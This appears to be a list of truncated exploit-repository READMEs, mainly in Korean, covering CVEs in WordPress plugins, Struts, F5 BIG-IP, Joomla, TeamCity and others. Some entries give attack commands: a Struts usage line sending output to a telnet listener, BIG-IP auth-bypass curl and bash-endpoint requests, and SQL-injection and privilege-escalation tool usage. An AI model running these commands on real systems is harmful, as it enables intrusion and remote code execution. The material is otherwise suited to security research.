CVE-2023-5561-PoC

PoC CVE-2023-5561 - WordPress 사용자 이메일 노출 설명 이 스크립트는 WordPress의 CVE-2023-5561 취약점을 악용하여 /wp-json/wp/v2/users API 엔드포인트를 통해 사용자 이메일 주소를 열거하고 노출합니다. 요구 사항 Python 3.x requests 라이브러리 필요한 라이브러리 설치: pip install requests 사용법 1. 대상 WordPress 사이트의 루트 URL을 식별합니다 예: https://target.com. 2. 다음 구문으로 스크립트를 실행합니다...

-CVE-2017-9805-

취약점 정보 Resources: https://vulners.com/cve/CVE-2017-9805 이게 무엇인가요? 파이썬 익스플로잇 스크립트로, S2-052에 취약한 Struts2를 호스팅하는 시스템의 셸에서 원격 명령을 실행할 수 있습니다. 사용법 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST vulnerability -...

f5-waf-quick-patch-cve-2021-44228

f5-waf-quick-patch-CVE-2021-44228 F5 Networks Advanced WAF/ASM 퀵 패치 CVE 2021-44228. 개요 이 도구는 BIG-IP 장치에 연결하여 CVE-2021-4428이라는 사용자 지정 서명 세트를 생성하고 모든 정책에 차단 모드로 적용합니다. 또한 모든 서명을 적용하고 변경 사항을 적용합니다. 이는 BIG-IP ASM v15.x에서 테스트되었지만 v13.x/v14.x/v16.x에서도 작동할 것으로 생각됩니다. 경고: 이 절차는 실행 중에 제어 평면의 CPU 및 메모리 사용량...

CVE-2024-1208-and-CVE-2024-1210

CVE-2024-1208 and CVE-2024-1210 LearnDash における API 経由の機密情報漏えい。認証されていない訪問者は、関連コースに受講登録していなくてもクイズとクイズの問題を閲覧できます。 脆弱性: CVE-2024-1208 および CVE-2024-1210 API 経由の機密情報漏えい CVSS: 5.3（中） ソフトウェア: LearnDash sfwd-lms 影響を受けるバージョン: = 4.10.2 パッチ適用済みバージョン: 4.10.3 開発元: LearnDash 研究者: Karl Emil Nikka, Nikka Systems...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST 漏洞 CVE-2022-1388 使用方法 此POC已验证！ curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

Doozer

Doozer Doozer는 비밀번호 해시의 파싱, 크래킹 및 정리를 자동화하는 확장 가능한 자동 해시 크래킹 유틸리티입니다. 현재 Doozer는 nt/lm, ntlmv1 및 ntlmv2 해시Responder 또는 SAM에서를 지원하지만, 다른 해시 유형을 간단히 플러그인할 수 있는 모듈식 아키텍처를 갖추고 있습니다. 간단한 Django 기반 웹 인터페이스를 통해 사용자는 실시간으로 크래킹 세션을 확인하고, 세션 결과를 보며, 해시 데이터베이스를 검색할 수 있습니다. 또한 간단한 REST API가 노출되어 스크립트가 데이터베이스...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP iControl REST 인증 우회 취약점 선택적 인수: -h, --help 이 도움말 메시지를 표시하고 종료 -u url, --url url 대상 URL 예: "http://127.0.0.1" -f file, --file file 파일의 대상 예: "ip.txt" 사용법 python3 CVE-2022-1388.py -u http://127.0.0.1 python3 CVE-2022-1388.py -f ip.txt 링크...

CVE-2024-10924-Wordpress-Docker

CVE-2024-10924 : Wordpress Really Simple Security Docker 내 인증 우회 취약점 설명 WordPress용 Really Simple Security 플러그인Free, Pro, Pro Multisite 버전 9.0.0에서 9.1.1.1은 인증 우회 취약점의 영향을 받습니다. 이 문제는 2단계 인증 REST API 작업에 사용되는 checkloginandgetuser 함수의 부적절한 오류 처리로 인해 발생합니다. 결과적으로, 인증되지 않은 공격자는 "Two-Factor...

hackazon

Hackazon Hackazon is a free, vulnerable test site that is an online storefront built with the same technologies used in today’s rich client and mobile applications. Hackazon has an AJAX interface, strict workflows and RESTful API’s used by a companion mobile app providing uniquely-effective...

CVE-2023-2732

CVE-2023-2732 MStore API = 3.9.2 - 인증 우회 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mstore-api/mstore-api-392-authentication-bypass 설명 The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.2. This is due to...

CVE-2018-19276

CVE-2018-19276 OpenMRS 안전하지 않은 객체 역직렬화 RCE 출처: https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607 안전하지 않은 객체 역직렬화를 통해 로그인 없이 임의 코드 실행이 가능합니다. Webservices 모듈의 IP 제한은 이 공격을 막지 못합니다. 모든 버전의 OpenMRS Platform 2.1.x 2.1.4 모든 버전의 OpenMRS Platform 2.0.x 2.0.8 모든 버전의...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST 인증 우회 RCE. POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd, X-Forwarded-Server, X-Forwarded-Host Content-type:...

CVE-2021-22986

취약점 영향 이 취약점은 BIG-IP 관리 인터페이스 및 자체 IP 주소를 통해 iControl REST 인터페이스에 네트워크 접근 권한이 있는 인증되지 않은 공격자가 임의의 시스템 명령을 실행하고, 파일을 생성하거나 삭제하며, 서비스를 비활성화할 수 있도록 합니다. 이 취약점은 제어 평면control plane을 통해서만 악용될 수 있으며, 데이터 평면data plane을 통해서는 악용될 수 없습니다. 악용될 경우 시스템 전체가 손상될 수 있습니다. Appliance 모드의 BIG-IP 시스템도 취약합니다. 취약점 제품 F5...

spring-break_cve-2017-8046

spring-breakcve-2017-8046 これは Spring Break 脆弱性 CVE-2017-8046 を悪用するJavaプログラムです。 このソフトウェアは、外部依存関係を可能な限り少なくするように書かれています。 免責事項 このツールは、セキュリティエンジニアおよびアプリセキュリティ担当者がセキュリティ評価を行うことを目的としています。このツールは責任を持って使用してください。本アプリケーションの使用方法について、私は一切責任を負いません。また、このツールの使用によって生じた損害や犯罪についても、私は一切責任を負いません。 脆弱性情報 CVE-ID :...

CVE-2023-23752

CVE-2023-23752 Joomla 무단 액세스 취약점 CVE-2023-23752 취약점 설명 Joomla는 PHP로 작성된 오픈 소스 콘텐츠 관리 시스템CMS으로, MySQL, MSSQL, PostgreSQL 등 여러 데이터베이스 시스템을 지원합니다. 부적절한 액세스 제한으로 인해 서버 REST API 엔드포인트에 대한 무단 액세스가 발생합니다. 영향받는 버전: Joomla 4.0.0 - 4.2.7 사용 도움말 optional arguments: -h, --help show this help message and exit...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 확인 및 익스플로잇 설치: python3 -m pip install -r requirements.txt 사용법 단일 대상: python3 cve.py s 전체 URL API 명령어 예시 python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 다중 대상: python3 cve.py m 호스트 목록 엔드포인트 API 명령어 풀동시처리 수 예시 python3 cve....

CVE-2024-5522-PoC

CVE-2024-5522-PoC : HTML5 Video Player 2.5.27 - 인증되지 않은 SQLi 이 플러그인은 SQL 문에 사용하기 전에 REST 경로의 매개변수를 정화하거나 이스케이프하지 않으므로 인증되지 않은 사용자가 SQL 인젝션 공격을 수행할 수 있습니다. 설치 스크립트: 1. git clone https://github.com/kryptonproject/CVE-2024-5522-PoC 2. cd CVE-2024-5522-PoC 3. pip3 install r requirements.txt 4. python...

CVE-2025-4631

🚨 CVE-2025-4631 - Profitori WordPress 플러그인 권한 상승 익스플로잇 📌 취약점 요약 Profitori 플러그인 버전 2.0.6.0 2.1.1.3은 /wp-json/stocktend/v1/stocktendobject 엔드포인트에서 누락된 권한 확인으로 인해 인증되지 않은 권한 상승 에 취약합니다. 이를 통해 원격 공격자는 wpcapabilities 메타 필드를 직접 조작하여 기존 사용자의 권한을 상승시키거나 또는 새 사용자를 생성할 수 있습니다. CVE : CVE-2025-4631 CVSS 점수 :...

teamcity-exploit-cve-2023-42793

TeamCity 익스플로잇 Cve 2023 42793 cve-2023-42793 버그를 익스플로잇하는 빠른 스크립트입니다. 익스플로잇에 대한 추가 자료는 여기에서 찾을 수 있습니다: https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793​ https://www.cnblogs.com/LittleHann/p/17843271.html​ 이 스크립트는 RCE 버그를 트리거한 후 'params...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP iControl REST 취약점 RCE 익스플로잇 Java. 기능 단일 대상 스캔 다중 대상 스캔 셸을 통한 익스플로잇 실습 환경 설정 실습 환경은 여기에서 찾을 수 있습니다. 실행 다음 명령어로 직접 코드를 실행할 수 있습니다: user javac main.java 그 다음 user java main help JVM이 없는 경우 user ./main help를 실행하세요. GLibc-x8664-linux. 스크린샷 저자 Zeyad Azima Morad A. Mokhtar 2022년 ...